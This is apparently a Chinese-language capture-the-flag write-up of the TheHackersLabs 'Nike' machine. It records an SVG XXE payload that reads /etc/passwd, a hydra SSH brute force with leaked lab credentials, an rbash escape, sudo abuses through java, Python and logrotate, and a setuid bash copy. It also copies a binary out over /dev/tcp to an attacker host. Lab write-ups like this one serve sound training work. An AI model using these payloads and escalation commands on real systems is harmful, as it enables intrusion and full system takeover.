TheHackersLabs Nike writeup

信息收集

nmap

image

dirsearch

image

立足点

我们先去web看一下

image

这就是一个静态页面,我没在这个页面里发现什么有用的信息,去upload.php看一下

image

有一个提示

image

这里我最开始想的是不是也要fuzz参数,我通过arjun和wfuzz试了后都没有结果,然后这个页面的名字是upload,那就应该和文件上传有关,所以我们通过post随便传点数据上去看看

image

返回说缺少了'<'标签,跟着它的提示走

image

返回提示无效的标签名,那我们就可以尝试先传一下php标签

image

这里php标签是无效的,那html标签呢

image

可以看到返回了正常的内容,且响应里有xml声明,响应头了也给了提示,那这里应该就是一个svg的xxe了,通过xxe的payload先去读/etc/passwd印证一下我们的想法

<?xml version='1.0'?>
<!DOCTYPE ANY [
<!ENTITY  xxe SYSTEM 'file:///etc/passwd'>
]>
<svg>&xxe;</svg>

image

果然是xxe,因为之前目录扫描时有一个datos.php,所以我们先去读一下它的源码。这里在我第一次做的时候我的字典里是没有datos.php的,所以我拿到这个xxe后是选择去尝试读每个用户里的私钥,但都失败了,所以就卡这了,后来是看了这部分的wp才知道web里还有个datos.php。

image

解出来的内容如下:

<?php

$user = "mike";
$pass = "oK)Lpk3#mmK!#p";
$dni_user = "74239813V";
$num_user = "+34 678 912 395";

$user = "wvverez";
$pass = "jKolpmd2f0dmko07x!@kk%";
$dni_user = "679145983X";
$num_user = "+ 34 922 178 452"

$user = "pylon";
$pass = "rp&swp)lkfg23lio";
$dni_user = "632159321M";
$num_user = "+ 34 611 459 112";

$user = "macci";
$pass = "koplsdm$%#jokk*mloker";
$dni_user = "547891239U";
$num_user = "+ 34 678 125 226";

$user = "n";
$pass = "kjlso%#mssa*nmccasca$%";
$dni_user = "432986104B";
$num_user = "+34 911 763 689";

if ($_SERVER['REQUEST_METHOD'] !== 'CLI') {
    http_response_code(403);
    die("Access Denied.");
}
?>

拿到了一串用户名和账密,接下来去爆破一下,先把这段数据放kali里处理一下(提取出user和passwd)

cat goal | grep -P '(?<=\$user = ")\w+' -o > tmp_users(提取出user)
cat goal | grep -P '(?<=\$pass = ").+(?=")' -o > tmp_pass(提取出pass)

然后就可以通过hydra去跑一下了

hydra -L tmp_users -P tmp_pass ssh://192.168.43.224 -vV -u -t 8

image

拿到了mike用户的账密,我们就可以ssh上去了,但需要注意的是,在之前/etc/passwd中我们看到mike默认登录的shell是rbash,这是一个受限的shell,通过此shell登录的话,我们只能执行$PATH 中明确指定的目录下的命令。因为我们这里是通过ssh直接连上去的,所以我们可以在命令末尾指明使用bash,从而逃逸出rbash

ssh mike@192.168.43.224 bash

image

userFlag

我们sudo -l看一下

image

可以以n用户的身份无密码执行java,我们可以让ai写一段java代码来帮助我们拿到shell

echo 'public class Shell {
    public static void main(String[] args) throws Exception {
        ProcessBuilder pb = new ProcessBuilder("/bin/bash", "-i");
        pb.inheritIO();
        Process p = pb.start();
        p.waitFor();
    }
}' > Shell.java

javac Shell.java
mv Shell.class /tmp/Shell.class
sudo -u n java Shell

这里要注意一下,应为我们是通过n用户的权限来执行java的,如果我们把编译出的class文件放在mike的家目录里,那此时n是无法访问的,所以我们要把class文件移到/tmp里去

image

我们先去opt下看一下这个py文件的权限

image

它就是用户n的,那这里我们也可以不用管里面写的是什么了,直接替换掉这个文件

import os
os.system('/bin/bash')

image

这样就拿到了pylon用户了,这里我们可以写个公钥到这个用户里,然后通过私钥连上去,这样能拿到一个比较好看的shell

image

logrotate 是 Linux 系统中用于自动化管理日志文件的核心工具,旨在解决日志文件体积膨胀、存储空间占用过高以及历史日志清理等问题。它通过预定义的规则对日志进行轮转(Rotation)、压缩、删除等操作,同时确保日志处理的可靠性与系统稳定性。

这里我们可以利用它通过自定义配置文件提权到用户macci,我们还是在/tmp下操作

echo '/tmp/fake.log {
    daily
    rotate 1
    copytruncate
    postrotate
        cp /bin/bash /tmp/n_bash && chmod +s /tmp/n_bash
    endscript
}' > /tmp/evil.conf

然后touch一个fake.log,给它777权限,因为lograte在执行时会涉及到对改文件的修改,最后执行sudo

sudo -u macci /usr/sbin/logrotate -s /tmp/aaa -f evil.conf

# -s:logrotate 在运行时需要记录文件的轮转状态(比如上一次轮转的时间),
# 所以在默认情况下logrotate在执行时会尝试写入系统全局状态文件/var/lib/logrotate/status。
# 当我们以普通用户身份运行时,该用户没有权限修改/var/lib/logrotate/目录下的系统状态文件,
# 因此我们需要使用-s参数手动指定一个普通用户有权写入的状态文件路径。

 image

 image

同样的先公钥然后登录上去

image

去gtfobins上查一下利用方案

image这里我们就可以把自己的公钥写到/home/wvverez/.ssh/authorized_keys,然后再通过私钥ssh上去即可,然后在家目录下拿到userflag

userFlag:26b31c5805e5b1688898d17388b4915f(MD5)

rootFlag

wvverez里就不能再sudo了,那去看一下suid权限

image

有一个sys_monitor,去看一下它的权限

image

image

我们也在ctf_admins组里,所以可以把sys_monitor拿到本机上逆向看一下

cat /usr/local/bin/sys_monitor > /dev/tcp/192.168.43.180/10000

image

能输入1,2,3,当输入3时执行function3函数,跟进去看一下

image

在调用sh直接执行shell命令,那就可以通过这个提权到root了

image

rootFlag:42b8fd7800d30c617cf0d80972fa961d(MD5)

posted @ 2026-04-16 16:42  sky2dawn  阅读(14)  评论(0)    收藏  举报